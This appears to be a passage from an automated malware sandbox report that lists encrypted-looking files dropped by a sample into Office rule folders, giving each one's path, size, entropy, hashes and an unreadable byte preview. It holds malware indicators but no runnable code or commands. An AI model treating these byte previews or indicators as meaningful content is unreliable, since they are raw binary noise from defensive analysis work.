Preview:	.<?..K.DB...}.^.......u...!do....4....3<-.G.,...?.j....N.mLp\|.A.>..R.. .h..m.0q_MF..X.>.".+3.("..6~%....Di2..2...2.@G..B..!i.Q.c....i4a/q4r../.. .]. -"R?8.3+.9]..V....e.S.8?c..h}+.?..Y.....w..Y...f\..H...C5A7.@.}^...Ur.hVth/.w@..8i...._.J!.W1#.'@....d[..jk..I>\/...\.If.N......V..7.T...~..~..3Kq...yb....n.).r.}}...+..K...\|p...,....yj.bs.&Il....%..OX8.>...1t.....IY.....g...B<u.~....X&.)..qp........./......E........HwO....T%.`J.j(.!p_.#I..!f]=....?LQ.g....4..Z...b9pJ.F.Eg..4G.S...O.....].S.....DO.Z.2........=&...............H!/..........zX..v.0b..[$..KCe.A,..."O6Z.G......q.eK.L.s...j.N[..V+dG...Xe....a...x.(.D...d.m...v..C.7....C.A3Ij.....1.Rb............q.......i.`...Z..h.p.f@8..r.L..m..6..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.752349645699873
Encrypted:	false
SSDEEP:	12:Kvy/ShgiyvtDrPJSzpvdj8327MDTeQt+ZQrEJyBnSv6KJH3ch21zbW67FAjVciik:6yKhLyvtDrPJSzfj832ETeQt+WoJmSvq
MD5:	BC66E220DCF59A68BD1C4E250B345B1B
SHA1:	21E7EB3761CEB0B7DAC687B741E82083254C82E9
SHA-256:	E36D9C8D4D293BFC7263C014ADAB602FCFCFE2281E930040DDBBE4227384E3D6
SHA-512:	C426285CF84214B8BEBFD72678A1403B8113255CED7B40D2845A685A2CD164B539815DA4C4D69D136F2D08682EF20053A127CA4FD63A2EFDBB61362E0A14B868
Malicious:	false
Preview:	.<?..9...]].<.x..&.L..=....".....1..Y..O.k..K......$Z...sI.....x..C./...5.'.lEr.J..4?.F..tS._..k...g3.V..[....W.e...+.A..7..`ky,7..J..(..U.'......q...].....xl.Ox.o..-...I....Bd<P..G.....J...._...+=c.i......B.~.........On..H..5.Z.......!.&...9...D32B...R.?<q...rSD1..@Z.L...][6......`.......^Fj.g6.....\p.M...@?.:.$.3.i.`.{.....u&.YC}....).........>...m..H.(.....G..~..o0..[...K.k.zK.B.N.O5.J......,....+#..........(P.)Z...u.......h....8wQ<.sgt<...N.m.....>1..r..~..K.....?].2.....O.V....#..f2.,#.....$~f...j.F.....\|A...0.+c.r.H.rw......oPPz{....a.....<N.D....3j9..D.7{....u..y%.._F.E).5e}^t...Z..,.E.. ...AaS.&.&itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713966688255908
Encrypted:	false
SSDEEP:	24:X7mCzcVnSnZryHgZzdHKi/02KtDCCO/GLqaFLVbD:ZzkwtikzdZqtDs/GLqKLFD
MD5:	E12F55F2F272D26BA3F58FAD1D483544
SHA1:	CE4D226351F7864E9F53FB5820299E2B0FD1E494
SHA-256:	A73FA5505AC27164C4EFDA0A23DDBF6752A302FE41FB3E37D83A3BEED3A625D5
SHA-512:	D817BCB633A96BDFD6E810CE73E9B15FCBDD7976C518C2E447014C421D2E8A0197693D6B74C0E886B7BF659384FEEAEA77A22400A502196E59099ED3734D715B
Malicious:	false
Preview:	.<?..v.v\].....J!."._F.4J<u...z"..i.3....3.5..^X&.R6.gGW..h...D..n..x......j.!!..Q~.......[.E.W9...:.U.6.u$..z.....R.[b.p..V.x....<n...F..6]..SX.B...V9.\|=....L..GT...[...<\...;......Li......z$....a.1................(O.V..X1....._%!..x...`-....`B.F.H.~;r..?."..%........-.4/.)2.....E%Y].]33......0.!....t{....).m....h1..,..........3.1s....q....f-.......$...5..B,..[.4.\|c.."{.,.R....r#.&;z._....A".G......k.!.V.#z...7....{.h.(....c..?...G.6vm..E.F`aLHB..+....S7....,..0.@M;.....x../.......DT.cp..J8..p..F5\|.^.....@._a,`.)].q].......:..\|...f.+....U..K.......\..wZ.._.1$2@n._.r....c9...\|......F..z....l.7)._{.......D....R7.i....sx._G.]=~)....}...i.....j...].....p.x...*~.&.dF........<.q..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.7737951675541295
Encrypted:	false
SSDEEP:	24:bthl/0+qmZ9oeqfrjZhzmAEaOWJuT7g4Lk1wVbD:bt/c+qTfrjZhCAEaL0cfwFD
MD5:	83F4F8E79A4DB4FF27454A34309F2CA8
SHA1:	611A594756985AD86331B51D13D881513985DFE6
SHA-256:	87894EF0CD23083E65684D505F63D81FB547F26B5F5E2089552F65E5E7FAE6D8
SHA-512:	37DBB2F56B2FA5CAADE73751C35A2DAD78D466E38477A36D6F8E7E9C13A065FC87D5EB6D0D909562E7A5495C154A374B656D6E85E4F45BD7B8DE5BC1FBD7D2C0
Malicious:	false
Preview:	.<?j.x....v.$T H.k..;...R=...y.....3.]..{L.........HG......\.....h.!......sH.1.?..z....!y..>.j.......z...c..&.Uo.....j...G....):- ..........]q..K....a#U. uD.o/.[ .....O....<......"Jds..Q.U$)Otc.g.&...8..N.zpy.~.....4ShR..'A. ..7......M..ar.8.RvA.O. W.5.6.cN-C...E. ..=..8..s).w......X..D...o.0....Q......<~...oKO6.qP.=5BW./!,.5W..8.p...w.5...5.T.._.Y.[...P%.z=..........e..... H+>.X.....{\|.C..J.y.1.c.\|...l....S...<....~..(..Yo...5.....TUtG...c.S..\...GV._...X$...!{..4.;v....-$.B..5Lv.=.&..DM......_~....4.T.%.\..$..,xL.4..`]......N...d....P.T...e..1.....L./..2\|.=...!.E.h'..\.I....p'..?..W>.;Lc[j.U2..G...N.b....[.k.k.0..F........vf.7.'..E.5m..4.....;..Q%...'....5....&>$$..Q......G}..L?=...*0.ynN...H.x..\kE.,./h.E..E..bf....vq...,..Q...,...:....'T.V...+.P..6;Q[....@......{.U.. "/.p. ...z.'.K.....IH.....9....t.RD.....9...HA...SN....;itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.727468458488001
Encrypted:	false
SSDEEP:	24:H6cyupn0GAXetNh5nJmXELGhwBMOgAZpHUB+5VbD:H6cXpn0DOhJAEihwyAZJUB+5FD
MD5:	4D3FF41AA322DF611543A43C1396B6CE
SHA1:	277707E41D5D749FDF51E2FFDD846127E66A0BF4
SHA-256:	D0771F6DFF97279BCA74B075A237C1A84760FBA9DB3904C2D38201119344F491
SHA-512:	D6DF25ECC0AE28F34A98399134C3C955CC5D54C5E3BE79FEBD2767415D8F06C1818E87BDAD86FA8657E2805A9F4D027BFFC3ACEC599FE0E7C19477A70FFFE04E
Malicious:	false
Preview:	.<?.x=:tV..._"%..i..>..KL.Nx..f.^...0..R.SI7..*......G5..X.<?.....]..+.s......h...s..K...@...]2.$=.S.s.Dh.u:.3.L.<.p.a.F..kF@G..`.]rM..=.l......d.X.r..).5......b^Q.\|..il...DP...!b%.......;....;6Va..#.....).7!.. ;..h.h...M..(.^%...$.B....?.;j.`-......kAm...R.X.....lD...YM.&..P-..........ye...`.0.x..b%...E....5......q..W.....Mp.!.v.4..ax"...!...l..R..[...p(i.;r.f.f...J....L....K....Qy..o.S^.v....oa;.q.f=..V..6.I..y"..dA.F.8.i'.c....f...9Q.o....7e.5.'...g.}.<.r.wN....+...!..4.m.....d2.}...........~.S-.....Jn^D.h..D...cZ..G.c........E.9}...]....C!.X.......9I.......:\|..D......_..6.......9..+z.l....\.&.....6s..CqQIX..f..y...G......<.x&.......H.]M..:.]....J..$-..us.W.9......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.641110593676065
Encrypted:	false
SSDEEP:	12:V0x6y9PZ8h6AkLOP0fk+sZPFdDrPteEXiD/t0aR3W+dLr3Gq/n09b0BYwC+jVciD:GKh6AkLOwkbZvH8+izpwAr3Gq/n0mGwl
MD5:	1A70FD5BAD8952DFE6B8430B75E31BFD
SHA1:	6FF47EDF540835CDDFB4A9AF960D5D75B7B0B1B2
SHA-256:	8EF567B05DE81025B3C38D5F93A45DBC93A011E22B21CD8C6F93106DF33D791D
SHA-512:	255772352CEFD7EB30280604E7B23E053E439986E4DE6DBFD1320F466A8A8685D40875109FC61E3730EA1D5BB067D3F381BBBEA0380F9A9F61DFBD75AF700137
Malicious:	false
Preview:	.<?... ...8h..Ba...U....]....V........~..........R.f..1oO...Q..........\....07?.<)\..........J.R.H.....#....`rd.\.._.)d`..#H..al.&u....p.L..._..0....eD?...Vy..a..W.m.u8.AA.:..y....fbV..9.E#5..o.......J.26..9....._.....\.m.n..t.L.^..J.J.!.Q.wB..^U..fe...!.%.......I...~.d.d....+..d ...G..u.0.@..+.;..'E.....#`.l?..H...6..Fr.... WSh-\.a......k.E.Wr..{..b..n..Wz"/..'.5..zd..T.-W.r..c^....[.}.D..A.../.!.-.....5.;..1L..S.:..2M....c...HB1....%.[.>B..."......N.4..%.#0.....rN...L....<..7x...25.'.a..@....Y..V......B.5t.L .H..k.D..ok.-.........6.~.If...5..........&......F.\....m...1.._.J..!/...6.\..\..xis....u.._pJ..g..5..b....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.733257398838288
Encrypted:	false
SSDEEP:	24:60RvTxQWZxRRd72l+WP3/V2whLTXZ2VbD:6uTn/Rx2PPwwBAFD
MD5:	B34FC01B6EA78A2DA00776F730360384
SHA1:	6FFAE2F7B56563B5EBA140638F93E86C79B814DC
SHA-256:	2DA2D88566299B2C7AE4DA20F50F3F88326C0E81DB8B5D74678887C62C6DB36A
SHA-512:	2EE197E4AE6014784C3B1A69029A4AC320167CF80289F3D07F844537C1B3B507D65C71EDF41CCC6D5053E967525492890F4BF4986B93902A654AEE8B50E31FAF
Malicious:	false
Preview:	.<?4.uk{.B .>=B.9..c.Q5m.9.>)d....Y`...~Jv.....6..#......vP.'..O5.F./.n)/%"1....;.8......;%z......d..%.i5i@u..rD......o.;...n...=....!..r.Y+.Y.H..Yl.u.......$..s.N..%...A.QP..sm4......cl..`.z...8....qY......u...1m.{$.i.U4N\."...U.-V..%.G.A=YE&J..e.B....?...R\|.q.z...fT?.p..W`......:g....39...f..!C%!..Do.. ..4..h.7....0.....OW..p....u.Qy8....p.8.7G!%...a,u....\.rX.<c......)..9.......{./.g.........n.G.}.......x..q.{h.....M...Z...U/.)..IU?N.......7..%.o?..x..9.H=..\.^..V........Z.q..<..SX.j....T.K.D.......q.^f..w.."......C.".....@KC.'..F........T..\|.~.._.n..pH.@.R........2..JB!.....@....gQ4......w"..../.b...u..c.>..4..."..M.d...G..<.F..@MER......t&.._.Xtr...F#.^...w....J...^^3Z5....U7Chitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.697793749118858
Encrypted:	false
SSDEEP:	12:CBH/hUc6dB7ROCk0FZcN3K+MF8pgolSYqm83yqxQrLvJtkg8re+sOrChjVcii9a:CfCce0Ck0FyN3K+MF8pgRNShrttkemrm
MD5:	AEFD680BE9D4F5FF47D2A14AF26A4ACA
SHA1:	D68DC866B84A3D91FABBB68FBAEDDEB7D6168F65
SHA-256:	86D2EB96AB2EAB5B6EE8454C556CAD1B521220CCAF2F598C72944EAFDEA9510D
SHA-512:	729C8F75485AF439DF7D253EF8FB7073976F530CED9FCDB6F1A55BF51862CD3759853CBD2FF37A5BCD3EF7939A457A31BE1205F9D499886F6CC0D438F5E47C92
Malicious:	false
Preview:	.<?........d..A.n.z\|......-..(lL\|...._.2..z...E........p..@O.\|..[..s.%....}.....}. ..Go.NwA.Rz..).....+...cLUZ.3.d..y.V.....Q......[.b^..8......x.....t..0&\|.{A..c.nB8.e.....U.s8I.P..\J.yH.....n....8.....}.==9^....#..w.91.P.`..]Y_.s.\[..4..A.,.+.;......DP.i".....%l....PL..-O.s....mg..W;\|%.:...\..V.J7....=G."....UN.a...}+.gG.P...cA....c.........y E>..)...a...M.L....J1....>..T.h.J,.(.W.....]!.......KT.......)Esa..7c..b.J...H.........#........l...m..da...~s..A...0a..u.5b..\&.W.9..,$...b...r.W.9K...{..b=..r.....}!..N.V.@.g.:..O..{.{9.u.3Z.a..Z..n......p..6I..U.....e.H..pYX.....Md..5..:.V'..I-"..=..E....i...Gh/.>..Dn..m......+.2.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.7413826977011775
Encrypted:	false
SSDEEP:	24:PQwVCGkNe/XtgKfP4fYTdHel3e4iY2fX/ShwsVbD:ol5NgXmHQTBiTy/WwsFD
MD5:	41A721D3D01AE5A9073145034BC7DFAA
SHA1:	AC1D459A577D2ABD2ADFF58E169536F90FD0C7DB
SHA-256:	FFBF10E13FABA450B3203A7957F85D9FEF0FA99C469D2D6B4F60ADFF86555968
SHA-512:	DDBB73D574DD466A15A78EB12462A3EB994520FA09AEB848FBF8A447D8B52256685B7594E3D9F38513DDA7A981BCCB9FCE9C7F07EC572BA1F9752DA4CA0743BB
Malicious:	false
Preview:	.<?o..VTG.u...q...L..Iy D..r....QV>...d.....?R.=l>...~A3...........=^.... .>A;T...[^ [......%[...6.F:..&yX.h.5Z.b.7Sh]DKyY..v..F...J..y....m..../j.H.XfD..4..V.@+..P...8.+>....B...to..T.rQPW.Y$.m.."d.....2_]..F...gE..b.....4..{2.9.\a...61..Ah.....S>...A.$.5.+Q..VtI..K.bC..Z..I.S.h....s..t.-sn.N..{.Tzx+]j.e..}#:e...(..{.5..@....1...2>.B`Q..Tb.3.~...\|.>=.w.-....x..<.L..{jNi.!.Y..r...]....p..U..g..^..{cR....../..m...Q.&..2.hA3k..q.Dw...F?rE0.b.acO._.7...N.l....R...;PP......e.$>.k.".s....I.^XI.5...x...4'<.....0!.b....(...B....{...E.....Z....Z...R....'.L.....!...~Q..../.kk."...}...w.B.K._Ot5....b.. ..E<T..oX3.6..Y.o$..W.F..EH.Y1.r'K....:4..zPYL....z]...J......k@-(.....^...*.Q3Jt..V.Q_.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.687308262455163
Encrypted:	false
SSDEEP:	12:Qeh+WrNMFiuTlZyYDwqV0iYhwd6alxLjezvRUa6kLvtwF0FjVcii9a:5h+W6FikkYDZVBEaaWSLvtc0FVbD
MD5:	A82680D9BBF0D36667FA2FBBF3394431
SHA1:	FE2373DDE8CE419920816C0D23D276C0306B2FAC
SHA-256:	6B4BBE588DC2800068787A33A6421C606BDD66D057976B8D9B99D808E25D3FF5
SHA-512:	36293D2E2DC9D757F2106921F6DE87A769C4B56929BF30E549DADEED26509656BA2B7B8BE1A156A74AA969A270796B594981F293683982D5CE3B54EE5FF56882
Malicious:	false
Preview:	.<?.e......D.w..P;.?.H.vC...4v.s."p..[y..(..D(..&_`.w..+..-;DAa.=..`h.xn...OG..,..y@gj...C]..... .z.C{c..C...=.....)LY...b.-..=2@'...wmc.....;......uH..s.:.m..>.e....._D..O.a.>\.D.N...+^.z...."....w`..V.....<1...)...M..=.<.L../.1.B.0...4:..$e.i..&.Ab..9...Hp.a..r.w..\.. .@=..........'.......B...n>...9.d..p.....?.@..T.I.W...<...R.!Ts/k<...X......mWg..R+.a.v8.8R'R..]_..S.....d.R.......s....&Js...\ ..H.`E$c..u..{L..\..9.0ta.#....j..n ....X."...B.....5m.A...?.l.0....AY.R..,.^..G......$2....*.)t.@.zZ.8.6..I....{2gX\n{.e5Z.C.w.5..L..l.j....`Sl.#.y..]M..u%..Zg...v...<..^#.Wa...Z.O..$....?..r.....G.6....v..P..g.....B9..4P.m..J....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.721853814071403
Encrypted:	false
SSDEEP:	24:jUYeejz6T2iiR/ujfGlpKq7QO/GejcOyrZVbD:jxeej02iiR5pGO+rOeFD
MD5:	2FB1EA83DADDA0EEF6C3BFFA3BF3CF2C
SHA1:	2891EEA1A91916DDBE5471A237B47C3186B54C6A
SHA-256:	99902999ABB4BC64BD8EA98310F1750FE00F6A33F3A2424A46B7FEA35A26E0F2
SHA-512:	B8CDA67E7DD74E55C47F6EC8A70DAF6E387469391484B6C5928F64BEA5513500A40E889528EE362DDD5168CF5EE258E174BAD4CAD27038C9E69E874D5BA70BA7
Malicious:	false
Preview:	.<?...2..,&jR..s.et.Db.Ij.F&.....8.u.Y.......yE......G.qI.WJ.A..K..J.J...k.e....5J..........{.P[.^5nH./=i.e.2.i..2.........&..2Dm)..D=..9Mt...z..A.."X...xa7.. .\|.ml.<}..H.e.....#..w....C.D6.#..M....Y...\|.M.B.=...;:a...5....;:...J........NI..W}..QVu....o..i...@O..)....-....(..~8.....D.q.k...v.<I:.(..q.j.S.".DU.S.t.(..-.\|.b...tv...0/.K...~.T...3.58..-.Mk3a...J........TY..zQ...i.^n....j...j.....'6.$H.'x.:8.@.l.."...$.9Y.o7S...J.b...7.w!..~ym.L..V./5=nR<^8.D..)........F.r....Ss.#.=........G...z..n%.a7.....tJ.;V.P..\...Z.....l.0a.)3..y..v........h....D.t...D....H.......S.U.3!..........7...p......I.7.k.i...0..3..;.N:<......U....7.......F2.p..k..^;..:.....A...Yf..Ce....s..o.Qitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.6890260373007235
Encrypted:	false
SSDEEP:	12:lDKAtsbHXQsPQ51bEvO0UuCAIF5YcY1B6jRZ3k1F5Tu3fxpG14DzE26xjVcii9a:8AtYXQs01E/oRZ0jE3CKI26ZVbD
MD5:	4E397D5AC45E50314293036EB4C4AAE0
SHA1:	3BA0804CCF8A86B946DAE407E5633D0E334D4978
SHA-256:	E7BFFE9AA510A17C0D76E0E7E3E19A14C76943D983C978A96D2EC80114ED49ED
SHA-512:	F1ED5A201445C0C7EBD085DAFBB34D2D3139B989D6DA3FD5B1A425CBCF4DEF2BED27B6AEB8BB047F769F5B5848ABC0115927BB27D121C26FB4E7BA752176EE01
Malicious:	false
Preview:	.<?..d.y.+.L...s..f/H.U:.B8.9...f\..V4C8...}...91N\|...]..[V..j2...%./t8....@./.+.)..'.a...hm..S.+.{&<.U.2.Z7.$.i....e..#..?Qo.R?..41-..p..X..PKL .`.,Wi.<3j.p?:A.......6..f7_.....6".S`m..!...d3...!/..v..`.....<..w.~...?n...Y..\|..?.....Rv..^V..D., .......m.08N.C....X2q..g.d'.W.}.).Iw.6lk..B.{.P..xA.j@d9.q.-xj...$..~d.&..)S.I{..G.t...gY&..M].^.#.m..=..S..3Z.h....H.q\|...8.;..I..b?...Wc.k.z.9..d\K..Q..Gf.....9).[...+.X....=.f.>R.Q..>.....e...;..!....4r.....A.Q.N.l..,.@.X.......Re......8....pd..q......lq.6.\|.HuPY.k........6...p.).9..'F.m...\|....%b..9........0e..]..0..fb..jkFZH.h.q.Yv.z...gF.k.0.......dV.....*W.@7..I.N.(.H..X.....yHitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.698966305734296
Encrypted:	false
SSDEEP:	12:1ZOJ0tIopYRma4f8d6HxmONieSN1z0IPD6AFR9dSSGCZBE2rcpqpO1jfkNUTJrNP:1UOyLRX4U6jNOzxufgE1pqOLiGDpVbD
MD5:	E9000FE0505FD73C93A7BC5FAF0539E2
SHA1:	6164807C714FFC2F0D05AE147143083A196BF0FF
SHA-256:	CA9B978A066B2B2D61A21D72320C61467C897B12C86BFB1E5B48FED7B9F4F23A
SHA-512:	B67E4B84A7F1B304D46D40F58A11223F6749308960678BB2728A02DDBC3285E8EFF3831AD83F9217162BC039B0D83C26D22AE344DC761056FDB57FC3649A520B
Malicious:	false
Preview:	.<?.6....F..n...........,..G%..<C.=...r66...%.T.>=...J..4.G....z1......W.Nd..V9.O.. .....q...J.....<.^...\|........L...k..k...G......#=h..$.M.`.$.....u.?..../..t,..................yb]..>?\|bB.r.c.R..,..d?T....I..EN..&.......!...!.l.d...X...%b^..B.ja.A..b.a.6.R\dI.i.....L.-2.b.\..%!......F.bQ`.......@6..........?...8g..`..$t.P#1..0E.......P...i...U..VP.sj..4t.g.....n......."....I_Z..ck..>.......].2{AV.r.ir5Q..?..m....Q...?.Fx.s...:q.........Jo;.5.VV3t.c..'z....om.V..#.r~..B?.1>.....&.N.c....JU..R..-6.6.....t<-.cD..C.q.N..r\'n.=.....^..(..nZ.Ur)f..k..#7.m...QJ.o...V....p..MM..s....z.j.#_.\H&!}..?...fT...c.....A../.mF.&.w...u\|K .m&...x.....&..G....OB%.6...w.=.A6u..r...t...5...s.]oZe./}.E.y...Oitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.747630376077565
Encrypted:	false
SSDEEP:	24:Z3Eo/UDfS/5aZ7g6k4C1KJWILgRQ1wVbD:pEo/UDa/5qfVJWdQqFD
MD5:	8A387A3445B74F7965958D11B01F5C6C
SHA1:	6546336F49203C53B6633591829BAA150A67EC7F
SHA-256:	83D8A06B7336F99C0E4C463B41B7A64E601EAC4109642687AA03CC883A4706D3
SHA-512:	6385AC08036EEF841AE752914479222C6D8BF59E42A70C307FC5D99CEEEC3F2AF4195B99F4C929D8AB3C2EA23B6139399906B7F94A13C726E5730B9AB7E9DB84
Malicious:	false
Preview:	.<?w......z..z..V......7.G..Y....R...Xs#X..2u.z.M[..Y.<lB..1.5.,..{f.B.f.....).....O..x..qv9....H\|.k.Q."..3.E....,..$...F...3.tm+/.!.#..D+..U.aj-.V]..A..X.c....r9s:9__.z..L./...s7.p@h..f+..6..{.l....0..4.i....-.........$..i.+..^.?.+...W+{.C`{.c...CO......JB.,..PC.....=n(.....&o.....8.ov....Z...@G.xd.r.6cT......h.ZR!...7......d...i yI....i@W.._=...)k.h..j..k~R....A....#...-.K..i......G..l/.yU....S.{{...o..Q...W..}nn...G.KP{....}...3../..t?..C~h.H...m..RH...m......>.\p..i....$.j....c;..%..b.!.+......H.7..]wr:..2....?......v.........u..u-Fl2..^.W....p....r.5../..dB.@...7..a.[b...A.J8.....%\|-...m.@^tZy.g........SN..v..(..xE...&o......&.\.{..P.g`.6...&l[...`Z.l..Fo.PH.M*itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.720774359480951
Encrypted:	false
SSDEEP:	24:WFSNxdyQ/wIlP7NkrsUzvvRc7eVG3If94xVbD:p1LlP7NABvO7eYQwFD
MD5:	C3E013A340346EBF200B15854CF8CF3D
SHA1:	54026FD8B6E5D7D1C30B61B6B91F7CA4C74D1151
SHA-256:	7087BD9BA876550AC1D66BE1B3CEB14F80B5DF04A4CB1D3DE2DA06462FA1A9CA
SHA-512:	475B97B5ECF5A2C6D42C82AFD61EA49412144CD6D479B42DEBF16B41BC40298378F788725FB6CE43754C40F28518CB62E471A245E256DAC52860C8227D857C4D
Malicious:	false
Preview:	.<?.5..P6.....M.......0.y..c:X.8l2...\|.K.ie.!....\|< iP.>r.Z..%..x..q............9.2.0.y...+...d_.V.yd...f.....e..6..........6.-k......yH\..<4z~......Y[...8.#....2..3...G5.............!-=..[..1..Za^J..J...#....0........G...1.x...M,..&..x>W4xV..,..............f...6.....w:..qk3CC...3.2.i.\|.p_.\0....HZ.d........}..p....^...'....5..!.....\|d.!.n.n..5}...R...X......a.J(.u.`;..<.{.~.h..r....C.<M..3k.B'.,aD....{....."~c.><J.=~j<..W0.o...v..&0....55...%.t'@....$.j...e.N...F.a......7.p8.+.#dkc..?Q..lm&...B......_!...._}>..Oo..Y...yg....KW.....Lb.z...vH...%N_..XG..F.<..:[.+>..........C.5BB..H.b..51...!.j...........u.t.....&..;.!ia.+...7.9..3.C/7._t..h..nb..\|.....y.8...t...'.*....N...ai<T....2...#\ T....hitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.692970927333395
Encrypted:	false
SSDEEP:	12:KTkZvFlmAiXyyaYDzIncy5S0+yuD8Fx3foDvwNnfNv/qO5Y1qYuKJc9sejVcii9a:KTkZdlmAiX1DQ53+D8Fx3xfN/VNVbD
MD5:	4F8FDDD25C06B82677CC205FA2B28E01
SHA1:	24C4055CBC4B5E37FD3C10479765573016066CD2
SHA-256:	09F139AE5651EEC432EA169B1AD5F5219FFB273D29D76ADB815949E41E5AFE1E
SHA-512:	C696F80549D48FEE2982F885E9693B2AF10996356FA77148F23AA3806F350CDB42DE1FAE9A2C0B8D017A5CC61A792C1DFE11B93FC55C771DCF300616AAE7C973
Malicious:	false
Preview:	.<?....o.Z.....s.oK.......y_+8E...9..B....F.&.N....;..;...!./...(.l;F^...%.M..N.C..?%..D.......o...>...Q....~.........Y,...h,..f..h.>...krR.<{...Wl......."dA.Y.....1....`....H<..xG.E.T...YU.vyR.......b...t)@.....;..;.H'K..R.^.A.r..R...:.1&..I..pL]}....(.k.3...P..]yJ.~DP....$Rk`T3[......Z.n0T...uy.z....I..'.......g(.]..%.j.?..]!@.\|.s.......X"9>.H..y..cL5.\|...C..4...H!.... mG-!L.d..y..YF..>Z?}..=....J..L..J...31..>.CX...vn=.i.M..iXk.....-...y1-{..S1vkF6...%.N..\|.+..._......j(.#.YP<..2.(...W9........r..B.T......-c....(.'..7 .B.JR.B'..E...u.@....jR...NAX..A.r/...}&.]x...oO/.x....(.fgm....X ....\uR..Q...I...i.y.g...B.b.A.6LJH..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120626v0.xml

Download File

